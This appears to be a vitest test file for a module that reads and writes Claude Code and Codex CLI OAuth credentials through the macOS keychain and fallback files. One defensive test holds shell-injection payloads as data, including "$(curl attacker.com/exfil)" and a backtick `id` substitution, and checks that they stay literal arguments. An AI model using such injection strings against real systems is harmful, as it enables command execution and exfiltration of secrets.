286 lines
8.5 KiB
TypeScript
286 lines
8.5 KiB
TypeScript
import fs from "node:fs";
|
|
import os from "node:os";
|
|
import path from "node:path";
|
|
import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
|
|
|
const execSyncMock = vi.fn();
|
|
const execFileSyncMock = vi.fn();
|
|
const CLI_CREDENTIALS_CACHE_TTL_MS = 15 * 60 * 1000;
|
|
let readClaudeCliCredentialsCached: typeof import("./cli-credentials.js").readClaudeCliCredentialsCached;
|
|
let resetCliCredentialCachesForTest: typeof import("./cli-credentials.js").resetCliCredentialCachesForTest;
|
|
let writeClaudeCliKeychainCredentials: typeof import("./cli-credentials.js").writeClaudeCliKeychainCredentials;
|
|
let writeClaudeCliCredentials: typeof import("./cli-credentials.js").writeClaudeCliCredentials;
|
|
let readCodexCliCredentials: typeof import("./cli-credentials.js").readCodexCliCredentials;
|
|
|
|
function mockExistingClaudeKeychainItem() {
|
|
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
|
|
const argv = Array.isArray(args) ? args.map(String) : [];
|
|
if (String(file) === "security" && argv.includes("find-generic-password")) {
|
|
return JSON.stringify({
|
|
claudeAiOauth: {
|
|
accessToken: "old-access",
|
|
refreshToken: "old-refresh",
|
|
expiresAt: Date.now() + 60_000,
|
|
},
|
|
});
|
|
}
|
|
return "";
|
|
});
|
|
}
|
|
|
|
function getAddGenericPasswordCall() {
|
|
return execFileSyncMock.mock.calls.find(
|
|
([binary, args]) =>
|
|
String(binary) === "security" &&
|
|
Array.isArray(args) &&
|
|
(args as unknown[]).map(String).includes("add-generic-password"),
|
|
);
|
|
}
|
|
|
|
async function readCachedClaudeCliCredentials(allowKeychainPrompt: boolean) {
|
|
return readClaudeCliCredentialsCached({
|
|
allowKeychainPrompt,
|
|
ttlMs: CLI_CREDENTIALS_CACHE_TTL_MS,
|
|
platform: "darwin",
|
|
execSync: execSyncMock,
|
|
});
|
|
}
|
|
|
|
describe("cli credentials", () => {
|
|
beforeAll(async () => {
|
|
({
|
|
readClaudeCliCredentialsCached,
|
|
resetCliCredentialCachesForTest,
|
|
writeClaudeCliKeychainCredentials,
|
|
writeClaudeCliCredentials,
|
|
readCodexCliCredentials,
|
|
} = await import("./cli-credentials.js"));
|
|
});
|
|
|
|
beforeEach(() => {
|
|
vi.useFakeTimers();
|
|
});
|
|
|
|
afterEach(() => {
|
|
vi.useRealTimers();
|
|
execSyncMock.mockClear().mockImplementation(() => undefined);
|
|
execFileSyncMock.mockClear().mockImplementation(() => undefined);
|
|
delete process.env.CODEX_HOME;
|
|
resetCliCredentialCachesForTest();
|
|
});
|
|
|
|
it("updates the Claude Code keychain item in place", async () => {
|
|
mockExistingClaudeKeychainItem();
|
|
|
|
const ok = writeClaudeCliKeychainCredentials(
|
|
{
|
|
access: "new-access",
|
|
refresh: "new-refresh",
|
|
expires: Date.now() + 60_000,
|
|
},
|
|
{ execFileSync: execFileSyncMock },
|
|
);
|
|
|
|
expect(ok).toBe(true);
|
|
|
|
// Verify execFileSync was called with array args (no shell interpretation)
|
|
expect(execFileSyncMock).toHaveBeenCalledTimes(2);
|
|
const addCall = getAddGenericPasswordCall();
|
|
expect(addCall?.[0]).toBe("security");
|
|
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
|
|
});
|
|
|
|
it("prevents shell injection via untrusted token payload values", async () => {
|
|
const cases = [
|
|
{
|
|
access: "x'$(curl attacker.com/exfil)'y",
|
|
refresh: "safe-refresh",
|
|
expectedPayload: "x'$(curl attacker.com/exfil)'y",
|
|
},
|
|
{
|
|
access: "safe-access",
|
|
refresh: "token`id`value",
|
|
expectedPayload: "token`id`value",
|
|
},
|
|
] as const;
|
|
|
|
for (const testCase of cases) {
|
|
execFileSyncMock.mockClear();
|
|
mockExistingClaudeKeychainItem();
|
|
|
|
const ok = writeClaudeCliKeychainCredentials(
|
|
{
|
|
access: testCase.access,
|
|
refresh: testCase.refresh,
|
|
expires: Date.now() + 60_000,
|
|
},
|
|
{ execFileSync: execFileSyncMock },
|
|
);
|
|
|
|
expect(ok).toBe(true);
|
|
|
|
// Token payloads must remain literal in argv, never shell-interpreted.
|
|
const addCall = getAddGenericPasswordCall();
|
|
const args = (addCall?.[1] as string[] | undefined) ?? [];
|
|
const wIndex = args.indexOf("-w");
|
|
const passwordValue = args[wIndex + 1];
|
|
expect(passwordValue).toContain(testCase.expectedPayload);
|
|
expect(addCall?.[0]).toBe("security");
|
|
}
|
|
});
|
|
|
|
it("falls back to the file store when the keychain update fails", async () => {
|
|
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-"));
|
|
const credPath = path.join(tempDir, ".claude", ".credentials.json");
|
|
|
|
fs.mkdirSync(path.dirname(credPath), { recursive: true, mode: 0o700 });
|
|
fs.writeFileSync(
|
|
credPath,
|
|
`${JSON.stringify(
|
|
{
|
|
claudeAiOauth: {
|
|
accessToken: "old-access",
|
|
refreshToken: "old-refresh",
|
|
expiresAt: Date.now() + 60_000,
|
|
},
|
|
},
|
|
null,
|
|
2,
|
|
)}\n`,
|
|
"utf8",
|
|
);
|
|
|
|
const writeKeychain = vi.fn(() => false);
|
|
|
|
const ok = writeClaudeCliCredentials(
|
|
{
|
|
access: "new-access",
|
|
refresh: "new-refresh",
|
|
expires: Date.now() + 120_000,
|
|
},
|
|
{
|
|
platform: "darwin",
|
|
homeDir: tempDir,
|
|
writeKeychain,
|
|
},
|
|
);
|
|
|
|
expect(ok).toBe(true);
|
|
expect(writeKeychain).toHaveBeenCalledTimes(1);
|
|
|
|
const updated = JSON.parse(fs.readFileSync(credPath, "utf8")) as {
|
|
claudeAiOauth?: {
|
|
accessToken?: string;
|
|
refreshToken?: string;
|
|
expiresAt?: number;
|
|
};
|
|
};
|
|
|
|
expect(updated.claudeAiOauth?.accessToken).toBe("new-access");
|
|
expect(updated.claudeAiOauth?.refreshToken).toBe("new-refresh");
|
|
expect(updated.claudeAiOauth?.expiresAt).toBeTypeOf("number");
|
|
});
|
|
|
|
it("caches Claude Code CLI credentials within the TTL window", async () => {
|
|
execSyncMock.mockImplementation(() =>
|
|
JSON.stringify({
|
|
claudeAiOauth: {
|
|
accessToken: "cached-access",
|
|
refreshToken: "cached-refresh",
|
|
expiresAt: Date.now() + 60_000,
|
|
},
|
|
}),
|
|
);
|
|
|
|
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
|
|
|
|
const first = await readCachedClaudeCliCredentials(true);
|
|
const second = await readCachedClaudeCliCredentials(false);
|
|
|
|
expect(first).toBeTruthy();
|
|
expect(second).toEqual(first);
|
|
expect(execSyncMock).toHaveBeenCalledTimes(1);
|
|
});
|
|
|
|
it("refreshes Claude Code CLI credentials after the TTL window", async () => {
|
|
execSyncMock.mockImplementation(() =>
|
|
JSON.stringify({
|
|
claudeAiOauth: {
|
|
accessToken: `token-${Date.now()}`,
|
|
refreshToken: "refresh",
|
|
expiresAt: Date.now() + 60_000,
|
|
},
|
|
}),
|
|
);
|
|
|
|
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
|
|
|
|
const first = await readCachedClaudeCliCredentials(true);
|
|
|
|
vi.advanceTimersByTime(CLI_CREDENTIALS_CACHE_TTL_MS + 1);
|
|
|
|
const second = await readCachedClaudeCliCredentials(true);
|
|
|
|
expect(first).toBeTruthy();
|
|
expect(second).toBeTruthy();
|
|
expect(execSyncMock).toHaveBeenCalledTimes(2);
|
|
});
|
|
|
|
it("reads Codex credentials from keychain when available", async () => {
|
|
const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-"));
|
|
process.env.CODEX_HOME = tempHome;
|
|
|
|
const accountHash = "cli|";
|
|
|
|
execSyncMock.mockImplementation((command: unknown) => {
|
|
const cmd = String(command);
|
|
expect(cmd).toContain("Codex Auth");
|
|
expect(cmd).toContain(accountHash);
|
|
return JSON.stringify({
|
|
tokens: {
|
|
access_token: "keychain-access",
|
|
refresh_token: "keychain-refresh",
|
|
},
|
|
last_refresh: "2026-01-01T00:00:00Z",
|
|
});
|
|
});
|
|
|
|
const creds = readCodexCliCredentials({ platform: "darwin", execSync: execSyncMock });
|
|
|
|
expect(creds).toMatchObject({
|
|
access: "keychain-access",
|
|
refresh: "keychain-refresh",
|
|
provider: "openai-codex",
|
|
});
|
|
});
|
|
|
|
it("falls back to Codex auth.json when keychain is unavailable", async () => {
|
|
const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-"));
|
|
process.env.CODEX_HOME = tempHome;
|
|
execSyncMock.mockImplementation(() => {
|
|
throw new Error("not found");
|
|
});
|
|
|
|
const authPath = path.join(tempHome, "auth.json");
|
|
fs.mkdirSync(tempHome, { recursive: true, mode: 0o700 });
|
|
fs.writeFileSync(
|
|
authPath,
|
|
JSON.stringify({
|
|
tokens: {
|
|
access_token: "file-access",
|
|
refresh_token: "file-refresh",
|
|
},
|
|
}),
|
|
"utf8",
|
|
);
|
|
|
|
const creds = readCodexCliCredentials({ execSync: execSyncMock });
|
|
|
|
expect(creds).toMatchObject({
|
|
access: "file-access",
|
|
refresh: "file-refresh",
|
|
provider: "openai-codex",
|
|
});
|
|
});
|
|
});
|